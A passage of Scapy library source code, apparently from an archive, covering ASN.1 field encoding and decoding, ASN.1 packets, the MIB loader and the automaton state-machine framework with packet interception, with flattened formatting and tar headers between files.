remainder = remainder[1:]+o[-1] if parent != ".": parent = self[parent] s += '\t"%s" -> "%s" [label="%s"];\n' % (parent, o,remainder) s += "}\n" do_graph(s, **kargs) def __len__(self): return len(self.keys()) def mib_register(ident, value, the_mib, unresolved): if ident in the_mib or ident in unresolved: return ident in the_mib resval = [] not_resolved = 0 for v in value: if _mib_re_integer.match(v): resval.append(v) else: v = fixname(v) if v not in the_mib: not_resolved = 1 if v in the_mib: v = the_mib[v] elif v in unresolved: v = unresolved[v] if type(v) is list: resval += v else: resval.append(v) if not_resolved: unresolved[ident] = resval return False else: the_mib[ident] = resval keys = unresolved.keys() i = 0 while i < len(keys): k = keys[i] if mib_register(k,unresolved[k], the_mib, {}): del(unresolved[k]) del(keys[i]) i = 0 else: i += 1 return True def load_mib(filenames): the_mib = {'iso': ['1']} unresolved = {} for k in conf.mib.keys(): mib_register(k, conf.mib[k].split("."), the_mib, unresolved) if type(filenames) is str: filenames = [filenames] for fnames in filenames: for fname in glob(fnames): f = open(fname) text = f.read() cleantext = " ".join(_mib_re_strings.split(" ".join(_mib_re_comments.split(text)))) for m in _mib_re_oiddecl.finditer(cleantext): gr = m.groups() ident,oid = gr[0],gr[-1] ident=fixname(ident) oid = oid.split() for i in range(len(oid)): m = _mib_re_both.match(oid[i]) if m: oid[i] = m.groups()[1] mib_register(ident, oid, the_mib, unresolved) newmib = MIBDict(_name="MIB") for k,o in the_mib.items(): newmib[k]=".".join(o) for k,o in unresolved.items(): newmib[k]=".".join(o) conf.mib=newmib conf.mib = MIBDict(_name="MIB") scapy-0.23/scapy/asn1fields.py000066400000000000000000000245311320561231000162750ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Classes that implement ASN.1 data structures. """ import itertools from scapy.asn1.asn1 import * from scapy.asn1.ber import * from scapy.volatile import * from scapy.base_classes import BasePacket ##################### #### ASN1 Fields #### ##################### class ASN1F_badsequence(Exception): pass class ASN1F_element: pass class ASN1F_optionnal(ASN1F_element): def __init__(self, field): self._field=field def __getattr__(self, attr): return getattr(self._field,attr) def dissect(self,pkt,s): try: return self._field.dissect(pkt,s) except ASN1F_badsequence: self._field.set_val(pkt,None) return s except BER_Decoding_Error: self._field.set_val(pkt,None) return s def build(self, pkt): if self._field.is_empty(pkt): return b"" return self._field.build(pkt) class ASN1F_field(ASN1F_element): holds_packets=0 islist=0 ASN1_tag = ASN1_Class_UNIVERSAL.ANY context=ASN1_Class_UNIVERSAL def __init__(self, name, default, context=None): if context is not None: self.context = context self.name = name self.default = default def i2repr(self, pkt, x): return repr(x) def i2h(self, pkt, x): return x def any2i(self, pkt, x): return x def m2i(self, pkt, x): return self.ASN1_tag.get_codec(pkt.ASN1_codec).safedec(x, context=self.context) def i2m(self, pkt, x): if x is None: x = 0 if isinstance(x, ASN1_Object): if ( self.ASN1_tag == ASN1_Class_UNIVERSAL.ANY or x.tag == ASN1_Class_UNIVERSAL.RAW or x.tag == ASN1_Class_UNIVERSAL.ERROR or self.ASN1_tag == x.tag ): return x.enc(pkt.ASN1_codec) else: raise ASN1_Error("Encoding Error: got %r instead of an %r for field [%s]" % (x, self.ASN1_tag, self.name)) return self.ASN1_tag.get_codec(pkt.ASN1_codec).enc(x) def do_copy(self, x): if hasattr(x, "copy"): return x.copy() if type(x) is list: x = x[:] for i in range(len(x)): if isinstance(x[i], BasePacket): x[i] = x[i].copy() return x def build(self, pkt): return self.i2m(pkt, getattr(pkt, self.name)) def set_val(self, pkt, val): setattr(pkt, self.name, val) def is_empty(self, pkt): return getattr(pkt,self.name) is None def dissect(self, pkt, s): v,s = self.m2i(pkt, s) self.set_val(pkt, v) return s def get_fields_list(self): return [self] def __hash__(self): return hash(self.name) def __str__(self): return self.name def __eq__(self, other): return self.name == other def __repr__(self): return self.name def randval(self): return RandInt() class ASN1F_INTEGER(ASN1F_field): ASN1_tag= ASN1_Class_UNIVERSAL.INTEGER def randval(self): return RandNum(-2**64, 2**64-1) class ASN1F_BOOLEAN(ASN1F_field): ASN1_tag= ASN1_Class_UNIVERSAL.BOOLEAN def randval(self): return RandChoice(True,False) class ASN1F_NULL(ASN1F_INTEGER): ASN1_tag= ASN1_Class_UNIVERSAL.NULL class ASN1F_SEP(ASN1F_NULL): ASN1_tag= ASN1_Class_UNIVERSAL.SEP class ASN1F_enum_INTEGER(ASN1F_INTEGER): def __init__(self, name, default, enum): ASN1F_INTEGER.__init__(self, name, default) i2s = self.i2s = {} s2i = self.s2i = {} if type(enum) is list: keys = range(len(enum)) else: keys = enum.keys() #if filter(lambda x: type(x) is str, keys): if list(filter(lambda x: type(x) is str, keys)): i2s,s2i = s2i,i2s for k in keys: i2s[k] = enum[k] s2i[enum[k]] = k def any2i_one(self, pkt, x): if type(x) is str: x = self.s2i[x] return x def i2repr_one(self, pkt, x): return self.i2s.get(x, repr(x)) def any2i(self, pkt, x): if type(x) is list: return map(lambda z,pkt=pkt:self.any2i_one(pkt,z), x) else: return self.any2i_one(pkt,x) def i2repr(self, pkt, x): if type(x) is list: return map(lambda z,pkt=pkt:self.i2repr_one(pkt,z), x) else: return self.i2repr_one(pkt,x) class ASN1F_ENUMERATED(ASN1F_enum_INTEGER): ASN1_tag = ASN1_Class_UNIVERSAL.ENUMERATED class ASN1F_STRING(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.STRING def randval(self): return RandString(RandNum(0, 1000)) class ASN1F_PRINTABLE_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class ASN1F_BIT_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.BIT_STRING class ASN1F_IPADDRESS(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.IPADDRESS class ASN1F_TIME_TICKS(ASN1F_INTEGER): ASN1_tag = ASN1_Class_UNIVERSAL.TIME_TICKS class ASN1F_UTC_TIME(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.UTC_TIME class ASN1F_GENERALIZED_TIME(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME class ASN1F_OID(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.OID def randval(self): return RandOID() class ASN1F_SEQUENCE(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE def __init__(self, *seq, **kargs): if "ASN1_tag" in kargs: self.ASN1_tag = kargs["ASN1_tag"] self.seq = seq def __repr__(self): return "<%s%r>" % (self.__class__.__name__,self.seq,) def set_val(self, pkt, val): for f in self.seq: f.set_val(pkt,val) def is_empty(self, pkt): for f in self.seq: if not f.is_empty(pkt): return False return True def get_fields_list(self): #return reduce(lambda x,y: x+y.get_fields_list(), self.seq, []) return list(itertools.chain(*[ i.get_fields_list() for i in self.seq ])) def build(self, pkt): #s = reduce(lambda x,y: x+y.build(pkt), self.seq, b"") s = b"" for i in self.seq: s += i.build(pkt) return self.i2m(pkt, s) def dissect(self, pkt, s): codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) try: i,s,remain = codec.check_type_check_len(s) for obj in self.seq: s = obj.dissect(pkt,s) if s: warning("Too many bytes to decode sequence: [%r]" % s) # XXX not reversible! return remain except ASN1_Error as e: raise ASN1F_badsequence(e) class ASN1F_SET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_UNIVERSAL.SET class ASN1F_SEQUENCE_OF(ASN1F_SEQUENCE): holds_packets = 1 islist = 1 def __init__(self, name, default, asn1pkt, ASN1_tag=0x30): self.asn1pkt = asn1pkt self.tag = bytes([ASN1_tag]) self.name = name self.default = default def i2repr(self, pkt, i): if i is None: return [] return i def get_fields_list(self): return [self] def set_val(self, pkt, val): ASN1F_field.set_val(self, pkt, val) def is_empty(self, pkt): return ASN1F_field.is_empty(self, pkt) def build(self, pkt): val = getattr(pkt, self.name) if isinstance(val, ASN1_Object) and val.tag == ASN1_Class_UNIVERSAL.RAW: s = val elif val is None: s = b"" else: #print(val) #s = b"".join(map(str, val )) s = b"".join([ bytes(i) for i in val ]) return self.i2m(pkt, s) def dissect(self, pkt, s): codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) i,s1,remain = codec.check_type_check_len(s) lst = [] while s1: try: p = self.asn1pkt(s1) except ASN1F_badsequence as e: lst.append(conf.raw_layer(s1)) break lst.append(p) if conf.raw_layer in p: s1 = p[conf.raw_layer].load del(p[conf.raw_layer].underlayer.payload) else: break self.set_val(pkt, lst) return remain def randval(self): return fuzz(self.asn1pkt()) def __repr__(self): return "<%s %s>" % (self.__class__.__name__,self.name) class ASN1F_PACKET(ASN1F_field): holds_packets = 1 def __init__(self, name, default, cls): ASN1F_field.__init__(self, name, default) self.cls = cls def i2m(self, pkt, x): if x is None: x = b"" return bytes(x) def extract_packet(self, cls, x): try: c = cls(x) except ASN1F_badsequence: c = conf.raw_layer(x) cpad = c.getlayer(conf.padding_layer) x = b"" if cpad is not None: x = cpad.load del(cpad.underlayer.payload) return c,x def m2i(self, pkt, x): return self.extract_packet(self.cls, x) class ASN1F_CHOICE(ASN1F_PACKET): ASN1_tag = ASN1_Class_UNIVERSAL.NONE def __init__(self, name, default, *args): self.name=name self.choice = {} for p in args: self.choice[p.ASN1_root.ASN1_tag] = p # self.context=context self.default=default def m2i(self, pkt, x): if len(x) == 0: return conf.raw_layer(),b"" raise ASN1_Error("ASN1F_CHOICE: got empty string") #if ord(x[0]) not in self.choice: if (x[0]) not in self.choice: return conf.raw_layer(x),b"" # XXX return RawASN1 packet ? Raise error #raise ASN1_Error("Decoding Error: choice [%i] not found in %r" % (ord(x[0]), self.choice.keys())) raise ASN1_Error("Decoding Error: choice [%i] not found in %r" % ((x[0]), self.choice.keys())) #z = ASN1F_PACKET.extract_packet(self, self.choice[ord(x[0])], x) z = ASN1F_PACKET.extract_packet(self, self.choice[(x[0])], x) return z def randval(self): return RandChoice(*map(lambda x:fuzz(x()), self.choice.values())) # This import must come in last to avoid problems with cyclic dependencies import scapy.packet scapy-0.23/scapy/asn1packet.py000066400000000000000000000013701320561231000162720ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Packet holding data in Abstract Syntax Notation (ASN.1). """ from scapy.packet import * class ASN1_Packet(Packet): ASN1_root = None ASN1_codec = None def init_fields(self): flist = self.ASN1_root.get_fields_list() self.do_init_fields(flist) self.fields_desc = flist def self_build(self): if self.raw_packet_cache is not None: return self.raw_packet_cache return self.ASN1_root.build(self) def do_dissect(self, x): return self.ASN1_root.dissect(self, x) scapy-0.23/scapy/automaton.py000066400000000000000000000677201320561231000162620ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Automata with states, transitions and actions. """ from __future__ import with_statement import types,itertools,time,os,sys,socket,functools from select import select from collections import deque import _thread from .config import conf from .utils import do_graph from .error import log_interactive from .plist import PacketList from .data import MTU from .supersocket import SuperSocket class ObjectPipe: def __init__(self): self.rd,self.wr = os.pipe() self.queue = deque() def fileno(self): return self.rd def send(self, obj): self.queue.append(obj) os.write(self.wr,b"X") def recv(self, n=0): os.read(self.rd,1) return self.queue.popleft() class Message: def __init__(self, **args): self.__dict__.update(args) def __repr__(self): return "" % " ".join("%s=%r"%(k,v) for (k,v) in self.__dict__.items() if not k.startswith("_")) # Currently does not seem necessary # class _meta_instance_state(type): # def __init__(cls, name, bases, dct): # def special_gen(special_method): # def special_wrapper(self): # print("Calling %s" % special_method) # return getattr(getattr(self, "im_func"), special_method) # return special_wrapper # type.__init__(cls, name, bases, dct) # for i in ["__int__", "__repr__", "__str__", "__index__", "__add__", "__radd__", "__bytes__"]: # setattr(cls, i, property(special_gen(i))) class _instance_state(): def __init__(self, instance): self.im_self = instance.__self__ self.im_func = instance.__func__ self.im_class = instance.__self__.__class__ def __getattr__(self, attr): return getattr(self.im_func, attr) def __call__(self, *args, **kargs): return self.im_func(self.im_self, *args, **kargs) def breaks(self): return self.im_self.add_breakpoints(self.im_func) def intercepts(self): return self.im_self.add_interception_points(self.im_func) def unbreaks(self): return self.im_self.remove_breakpoints(self.im_func) def unintercepts(self): return self.im_self.remove_interception_points(self.im_func) ############## ## Automata ## ############## class ATMT: STATE = "State" ACTION = "Action" CONDITION = "Condition" RECV = "Receive condition" TIMEOUT = "Timeout condition" IOEVENT = "I/O event" class NewStateRequested(Exception): def __init__(self, state_func, automaton, *args, **kargs): self.func = state_func self.state = state_func.atmt_state self.initial = state_func.atmt_initial self.error = state_func.atmt_error self.final = state_func.atmt_final Exception.__init__(self, "Request state [%s]" % self.state) self.automaton = automaton self.args = args self.kargs = kargs self.action_parameters() # init action parameters def action_parameters(self, *args, **kargs): self.action_args = args self.action_kargs = kargs return self def run(self): return self.func(self.automaton, *self.args, **self.kargs) def __repr__(self): return "NewStateRequested(%s)" % self.state @staticmethod def state(initial=0,final=0,error=0): def deco(f,initial=initial, final=final): f.atmt_type = ATMT.STATE f.atmt_state = f.__name__ f.atmt_initial = initial f.atmt_final = final f.atmt_error = error # @functools.wraps(f) This is possible alternative to assigning __qualname__; it would save __doc__, too def state_wrapper(self, *args, **kargs): return ATMT.NewStateRequested(f, self, *args, **kargs) state_wrapper.__qualname__ = "%s_wrapper" % f.__name__ state_wrapper.atmt_type = ATMT.STATE state_wrapper.atmt_state = f.__name__ state_wrapper.atmt_initial = initial state_wrapper.atmt_final = final state_wrapper.atmt_error = error state_wrapper.atmt_origfunc = f return state_wrapper return deco @staticmethod def action(cond, prio=0): def deco(f,cond=cond): if not hasattr(f,"atmt_type"): f.atmt_cond = {} f.atmt_type = ATMT.ACTION f.atmt_cond[cond.atmt_condname] = prio return f return deco @staticmethod def condition(state, prio=0): def deco(f, state=state): f.atmt_type = ATMT.CONDITION f.atmt_state = state.atmt_state f.atmt_condname = f.__name__ f.atmt_prio = prio return f return deco @staticmethod def receive_condition(state, prio=0): def deco(f, state=state): f.atmt_type = ATMT.RECV f.atmt_state = state.atmt_state f.atmt_condname = f.__name__ f.atmt_prio = prio return f return deco @staticmethod def ioevent(state, name, prio=0, as_supersocket=None): def deco(f, state=state): f.atmt_type = ATMT.IOEVENT f.atmt_state = state.atmt_state f.atmt_condname = f.__name__ f.atmt_ioname = name f.atmt_prio = prio f.atmt_as_supersocket = as_supersocket return f return deco @staticmethod def timeout(state, timeout): def deco(f, state=state, timeout=timeout): f.atmt_type = ATMT.TIMEOUT f.atmt_state = state.atmt_state f.atmt_timeout = timeout f.atmt_condname = f.__name__ return f return deco class _ATMT_Command: RUN = "RUN" NEXT = "NEXT" FREEZE = "FREEZE" STOP = "STOP" END = "END" EXCEPTION = "EXCEPTION" SINGLESTEP = "SINGLESTEP" BREAKPOINT = "BREAKPOINT" INTERCEPT = "INTERCEPT" ACCEPT = "ACCEPT" REPLACE = "REPLACE" REJECT = "REJECT" class _ATMT_supersocket(SuperSocket): def __init__(self, name, ioevent, automaton, proto, args, kargs): self.name = name self.ioevent = ioevent self.proto = proto self.spa,self.spb = socket.socketpair(socket.AF_UNIX, socket.SOCK_DGRAM) kargs["external_fd"] = {ioevent:self.spb} self.atmt = automaton(*args, **kargs) self.atmt.runbg() def fileno(self): return self.spa.fileno() def send(self, s): if type(s) is str: s = s.encode() elif type(s) is not bytes: s = bytes(s) return self.spa.send(s) def recv(self, n=MTU): r = self.spa.recv(n) if self.proto is not None: r = self.proto(r) return r def close(self): pass class _ATMT_to_supersocket: def __init__(self, name, ioevent, automaton): self.name = name self.ioevent = ioevent self.automaton = automaton def __call__(self, proto, *args, **kargs): return _ATMT_supersocket(self.name, self.ioevent, self.automaton, proto, args, kargs) class Automaton_metaclass(type): def __new__(cls, name, bases, dct): cls = super(Automaton_metaclass, cls).__new__(cls, name, bases, dct) cls.states={} cls.state = None cls.recv_conditions={} cls.conditions={} cls.ioevents={} cls.timeout={} cls.actions={} cls.initial_states=[] cls.ionames = [] cls.iosupersockets = [] members = {} classes = [cls] while classes: c = classes.pop(0) # order is important to avoid breaking method overloading classes += list(c.__bases__) for k,v in c.__dict__.items(): if k not in members: members[k] = v decorated = [v for v in members.values() if type(v) is types.FunctionType and hasattr(v, "atmt_type")] for m in decorated: if m.atmt_type == ATMT.STATE: s = m.atmt_state cls.states[s] = m cls.recv_conditions[s]=[] cls.ioevents[s]=[] cls.conditions[s]=[] cls.timeout[s]=[] if m.atmt_initial: cls.initial_states.append(m) elif m.atmt_type in [ATMT.CONDITION, ATMT.RECV, ATMT.TIMEOUT, ATMT.IOEVENT]: cls.actions[m.atmt_condname] = [] for m in decorated: if m.atmt_type == ATMT.CONDITION: cls.conditions[m.atmt_state].append(m) elif m.atmt_type == ATMT.RECV: cls.recv_conditions[m.atmt_state].append(m) elif m.atmt_type == ATMT.IOEVENT: cls.ioevents[m.atmt_state].append(m) cls.ionames.append(m.atmt_ioname) if m.atmt_as_supersocket is not None: cls.iosupersockets.append(m) elif m.atmt_type == ATMT.TIMEOUT: cls.timeout[m.atmt_state].append((m.atmt_timeout, m)) elif m.atmt_type == ATMT.ACTION: for c in m.atmt_cond: cls.actions[c].append(m) for v in cls.timeout.values(): #v.sort(lambda (t1,f1),(t2,f2): cmp(t1,t2)) v.sort(key = lambda x: x[0]) v.append((None, None)) for v in itertools.chain(cls.conditions.values(), cls.recv_conditions.values(), cls.ioevents.values()): v.sort(key = lambda x: x.atmt_prio) for condname,actlst in cls.actions.items(): actlst.sort(key = lambda x: x.atmt_cond[condname]) for ioev in cls.iosupersockets: setattr(cls, ioev.atmt_as_supersocket, _ATMT_to_supersocket(ioev.atmt_as_supersocket, ioev.atmt_ioname, cls)) return cls def graph(self, **kargs): s = 'digraph "%s" {\n' % self.__class__.__name__ se = "" # Keep initial nodes at the begining for better rendering for st in self.states.values(): if st.atmt_initial: se = ('\t"%s" [ style=filled, fillcolor=blue, shape=box, root=true];\n' % st.atmt_state)+se elif st.atmt_final: se += '\t"%s" [ style=filled, fillcolor=green, shape=octagon ];\n' % st.atmt_state elif st.atmt_error: se += '\t"%s" [ style=filled, fillcolor=red, shape=octagon ];\n' % st.atmt_state s += se for st in self.states.values(): for n in st.atmt_origfunc.__code__.co_names+st.atmt_origfunc.__code__.co_consts: if n in self.states: s += '\t"%s" -> "%s" [ color=green ];\n' % (st.atmt_state,n) for c,k,v in ([("purple",k,v) for k,v in self.conditions.items()]+ [("red",k,v) for k,v in self.recv_conditions.items()]+ [("orange",k,v) for k,v in self.ioevents.items()]): for f in v: for n in f.__code__.co_names+f.__code__.co_consts: if n in self.states: l = f.atmt_condname for x in self.actions[f.atmt_condname]: l += "\\l>[%s]" % x.__name__ s += '\t"%s" -> "%s" [label="%s", color=%s];\n' % (k,n,l,c) for k,v in self.timeout.items(): for t,f in v: if f is None: continue for n in f.__code__.co_names+f.__code__.co_consts: if n in self.states: l = "%s/%.1fs" % (f.atmt_condname,t) for x in self.actions[f.atmt_condname]: l += "\\l>[%s]" % x.__name__ s += '\t"%s" -> "%s" [label="%s",color=blue];\n' % (k,n,l) s += "}\n" return do_graph(s, **kargs) class Automaton(metaclass = Automaton_metaclass): ## Methods to overload def parse_args(self, debug=0, store=1, **kargs): self.debug_level=debug self.socket_kargs = kargs self.store_packets = store def master_filter(self, pkt): return True def my_send(self, pkt): self.send_sock.send(pkt) ## Utility classes and exceptions class _IO_fdwrapper: def __init__(self,rd,wr): if rd is not None and type(rd) is not int: rd = rd.fileno() if wr is not None and type(wr) is not int: wr = wr.fileno() self.rd = rd self.wr = wr def fileno(self): return self.rd def read(self, n=65535): return os.read(self.rd, n) def write(self, msg): return os.write(self.wr,msg) def recv(self, n=65535): return self.read(n) def send(self, msg): return self.write(msg) class _IO_mixer: def __init__(self,rd,wr): self.rd = rd self.wr = wr def fileno(self): if type(self.rd) is int: return self.rd return self.rd.fileno() def recv(self, n=None): return self.rd.recv(n) def read(self, n=None): return self.rd.recv(n) def send(self, msg): return self.wr.send(msg) def write(self, msg): return self.wr.send(msg) class AutomatonException(Exception): def __init__(self, msg, state=None, result=None): Exception.__init__(self, msg) self.state = state self.result = result class AutomatonError(AutomatonException): pass class ErrorState(AutomatonException): pass class Stuck(AutomatonException): pass class AutomatonStopped(AutomatonException): pass class Breakpoint(AutomatonStopped): pass class Singlestep(AutomatonStopped): pass class InterceptionPoint(AutomatonStopped): def __init__(self, msg, state=None, result=None, packet=None): Automaton.AutomatonStopped.__init__(self, msg, state=state, result=result) self.packet = packet class CommandMessage(AutomatonException): pass ## Services def debug(self, lvl, msg): if self.debug_level >= lvl: log_interactive.debug(msg) def send(self, pkt): if self.state.state in self.interception_points: self.debug(3,"INTERCEPT: packet intercepted: %s" % pkt.summary()) self.intercepted_packet = pkt cmd = Message(type = _ATMT_Command.INTERCEPT, state=self.state, pkt=pkt) self.cmdout.send(cmd) cmd = self.cmdin.recv() self.intercepted_packet = None if cmd.type == _ATMT_Command.REJECT: self.debug(3,"INTERCEPT: packet rejected") return elif cmd.type == _ATMT_Command.REPLACE: pkt = cmd.pkt self.debug(3,"INTERCEPT: packet replaced by: %s" % pkt.summary()) elif cmd.type == _ATMT_Command.ACCEPT: self.debug(3,"INTERCEPT: packet accepted") else: raise self.AutomatonError("INTERCEPT: unkown verdict: %r" % cmd.type) self.my_send(pkt) self.debug(3,"SENT : %s" % pkt.summary()) self.packets.append(pkt.copy()) ## Internals def __init__(self, *args, **kargs): external_fd = kargs.pop("external_fd",{}) self.send_sock_class = kargs.pop("ll", conf.L3socket) self.started = _thread.allocate_lock() self.threadid = None self.breakpointed = None self.breakpoints = set() self.interception_points = set() self.intercepted_packet = None self.debug_level=0 self.init_args=args self.init_kargs=kargs self.io = type.__new__(type, "IOnamespace",(),{}) self.oi = type.__new__(type, "IOnamespace",(),{}) self.cmdin = ObjectPipe() self.cmdout = ObjectPipe() self.ioin = {} self.ioout = {} for n in self.ionames: extfd = external_fd.get(n) if type(extfd) is not tuple: extfd = (extfd,extfd) ioin,ioout = extfd if ioin is None: ioin = ObjectPipe() #elif type(ioin) is not types.InstanceType: else: #print(type(ioin)) ioin = self._IO_fdwrapper(ioin,None) if ioout is None: ioout = ObjectPipe() #elif type(ioout) is not types.InstanceType: else: #print(type(ioout)) ioout = self._IO_fdwrapper(None,ioout) self.ioin[n] = ioin self.ioout[n] = ioout ioin.ioname = n ioout.ioname = n setattr(self.io, n, self._IO_mixer(ioout,ioin)) setattr(self.oi, n, self._IO_mixer(ioin,ioout)) for stname in self.states: setattr(self, stname, _instance_state(getattr(self, stname))) self.parse_args(*args, **kargs) self.start() def __iter__(self): return self def __del__(self): self.stop() def _run_condition(self, cond, *args, **kargs): try: self.debug(5, "Trying %s [%s]" % (cond.atmt_type, cond.atmt_condname)) cond(self,*args, **kargs) except ATMT.NewStateRequested as state_req: self.debug(2, "%s [%s] taken to state [%s]" % (cond.atmt_type, cond.atmt_condname, state_req.state)) if cond.atmt_type == ATMT.RECV: self.packets.append(args[0]) for action in self.actions[cond.atmt_condname]: self.debug(2, " + Running action [%s]" % action.__name__) action(self, *state_req.action_args, **state_req.action_kargs) raise except Exception as e: self.debug(2, "%s [%s] raised exception [%s]" % (cond.atmt_type, cond.atmt_condname, e)) raise else: self.debug(2, "%s [%s] not taken" % (cond.atmt_type, cond.atmt_condname)) def _do_start(self, *args, **kargs): _thread.start_new_thread(self._do_control, args, kargs) def _do_control(self, *args, **kargs): with self.started: self.threadid = _thread.get_ident() # Update default parameters a = args+self.init_args[len(args):] k = self.init_kargs.copy() k.update(kargs) self.parse_args(*a,**k) # Start the automaton self.state=self.initial_states[0](self) self.send_sock = self.send_sock_class() self.listen_sock = conf.L2listen(**self.socket_kargs) self.packets = PacketList(name="session[%s]"%self.__class__.__name__) singlestep = True iterator = self._do_iter() self.debug(3, "Starting control thread [tid=%i]" % self.threadid) try: while True: c = self.cmdin.recv() self.debug(5, "Received command %s" % c.type) if c.type == _ATMT_Command.RUN: singlestep = False elif c.type == _ATMT_Command.NEXT: singlestep = True elif c.type == _ATMT_Command.FREEZE: continue elif c.type == _ATMT_Command.STOP: break while True: state = next(iterator) if isinstance(state, self.CommandMessage): break elif isinstance(state, self.Breakpoint): c = Message(type=_ATMT_Command.BREAKPOINT,state=state) self.cmdout.send(c) break if singlestep: c = Message(type=_ATMT_Command.SINGLESTEP,state=state) self.cmdout.send(c) break except StopIteration as e: c = Message(type=_ATMT_Command.END, result=e.args[0]) self.cmdout.send(c) except Exception as e: self.debug(3, "Transfering exception [%s] from tid=%i"% (e,self.threadid)) m = Message(type = _ATMT_Command.EXCEPTION, exception=e, exc_info=sys.exc_info()) self.cmdout.send(m) self.debug(3, "Stopping control thread (tid=%i)"%self.threadid) self.threadid = None def _do_iter(self): while True: try: self.debug(1, "## state=[%s]" % self.state.state) # Entering a new state. First, call new state function if self.state.state in self.breakpoints and self.state.state != self.breakpointed: self.breakpointed = self.state.state yield self.Breakpoint("breakpoint triggered on state %s" % self.state.state, state = self.state.state) self.breakpointed = None state_output = self.state.run() if self.state.error: raise self.ErrorState("Reached %s: [%r]" % (self.state.state, state_output), result=state_output, state=self.state.state) if self.state.final: raise StopIteration(state_output) if state_output is None: state_output = () elif type(state_output) is not list: state_output = state_output, # Then check immediate conditions for cond in self.conditions[self.state.state]: self._run_condition(cond, *state_output) # If still there and no conditions left, we are stuck! if ( len(self.recv_conditions[self.state.state]) == 0 and len(self.ioevents[self.state.state]) == 0 and len(self.timeout[self.state.state]) == 1 ): raise self.Stuck("stuck in [%s]" % self.state.state, state=self.state.state, result=state_output) # Finally listen and pay attention to timeouts expirations = iter(self.timeout[self.state.state]) next_timeout,timeout_func = next(expirations) t0 = time.time() fds = [self.cmdin] if len(self.recv_conditions[self.state.state]) > 0: fds.append(self.listen_sock) for ioev in self.ioevents[self.state.state]: fds.append(self.ioin[ioev.atmt_ioname]) while 1: t = time.time()-t0 if next_timeout is not None: if next_timeout <= t: self._run_condition(timeout_func, *state_output) next_timeout,timeout_func = next(expirations) if next_timeout is None: remain = None else: remain = next_timeout-t self.debug(5, "Select on %r" % fds) r,_,_ = select(fds,[],[],remain) self.debug(5, "Selected %r" % r) for fd in r: self.debug(5, "Looking at %r" % fd) if fd == self.cmdin: yield self.CommandMessage("Received command message") elif fd == self.listen_sock: pkt = self.listen_sock.recv(MTU) if pkt is not None: if self.master_filter(pkt): self.debug(3, "RECVD: %s" % pkt.summary()) for rcvcond in self.recv_conditions[self.state.state]: self._run_condition(rcvcond, pkt, *state_output) else: self.debug(4, "FILTR: %s" % pkt.summary()) else: self.debug(3, "IOEVENT on %s" % fd.ioname) for ioevt in self.ioevents[self.state.state]: if ioevt.atmt_ioname == fd.ioname: self._run_condition(ioevt, fd, *state_output) except ATMT.NewStateRequested as state_req: self.debug(2, "switching from [%s] to [%s]" % (self.state.state,state_req.state)) self.state = state_req yield state_req ## Public API def add_interception_points(self, *ipts): for ipt in ipts: if hasattr(ipt,"atmt_state"): ipt = ipt.atmt_state self.interception_points.add(ipt) def remove_interception_points(self, *ipts): for ipt in ipts: if hasattr(ipt,"atmt_state"): ipt = ipt.atmt_state self.interception_points.discard(ipt) def add_breakpoints(self, *bps): for bp in bps: if hasattr(bp,"atmt_state"): bp = bp.atmt_state self.breakpoints.add(bp) def remove_breakpoints(self, *bps): for bp in bps: if hasattr(bp,"atmt_state"): bp = bp.atmt_state self.breakpoints.discard(bp) def start(self, *args, **kargs): if not self.started.locked(): self._do_start(*args, **kargs) def run(self, resume=None, wait=True): if resume is None: resume = Message(type = _ATMT_Command.RUN) self.cmdin.send(resume) if wait: try: c = self.cmdout.recv() except KeyboardInterrupt: self.cmdin.send(Message(type = _ATMT_Command.FREEZE)) return if c.type == _ATMT_Command.END: return c.result elif c.type == _ATMT_Command.INTERCEPT: raise self.InterceptionPoint("packet intercepted", state=c.state.state, packet=c.pkt) elif c.type == _ATMT_Command.SINGLESTEP: raise self.Singlestep("singlestep state=[%s]"%c.state.state, state=c.state.state) elif c.type == _ATMT_Command.BREAKPOINT: raise self.Breakpoint("breakpoint triggered on state [%s]"%c.state.state, state=c.state.state) elif c.type == _ATMT_Command.EXCEPTION: raise c.exc_info[0](c.exc_info[1]) #raise c.exc_info[0],c.exc_info[1],c.exc_info[2] def runbg(self, resume=None, wait=False): self.run(resume, wait) def next(self): return self.run(resume = Message(type=_ATMT_Command.NEXT)) def stop(self): self.cmdin.send(Message(type=_ATMT_Command.STOP)) with self.started: # Flush command pipes while True: r,_,_ = select([self.cmdin, self.cmdout],[],[],0) if not r: break for fd in r: fd.recv() def restart(self, *args, **kargs): self.stop() self.start(*args, **kargs) def accept_packet(self, pkt=None, wait=False): rsm = Message() if pkt is None: rsm.type = _ATMT_Command.ACCEPT else: rsm.type = _ATMT_Command.REPLACE rsm.pkt = pkt return self.run(resume=rsm, wait=wait) def reject_packet(self, wait=False): rsm = Message(type = _ATMT_Command.REJECT) return self.run(resume=rsm, wait=wait) scapy-0.23/scapy/autorun.py000066400000000000000000000103021320561231000157300ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Run commands when the Scapy interpreter starts. """ import code,sys from .config import conf from .themes import * from .error import Scapy_Exception from .utils import tex_escape ######################### ##### Autorun stuff ##### ######################### class StopAutorun(Scapy_Exception): code_run = "" class ScapyAutorunInterpreter(code.InteractiveInterpreter): def __init__(self, *args, **kargs): code.InteractiveInterpreter.__init__(self, *args, **kargs) self.error = 0 def showsyntaxerror(self, *args, **kargs): self.error = 1 return 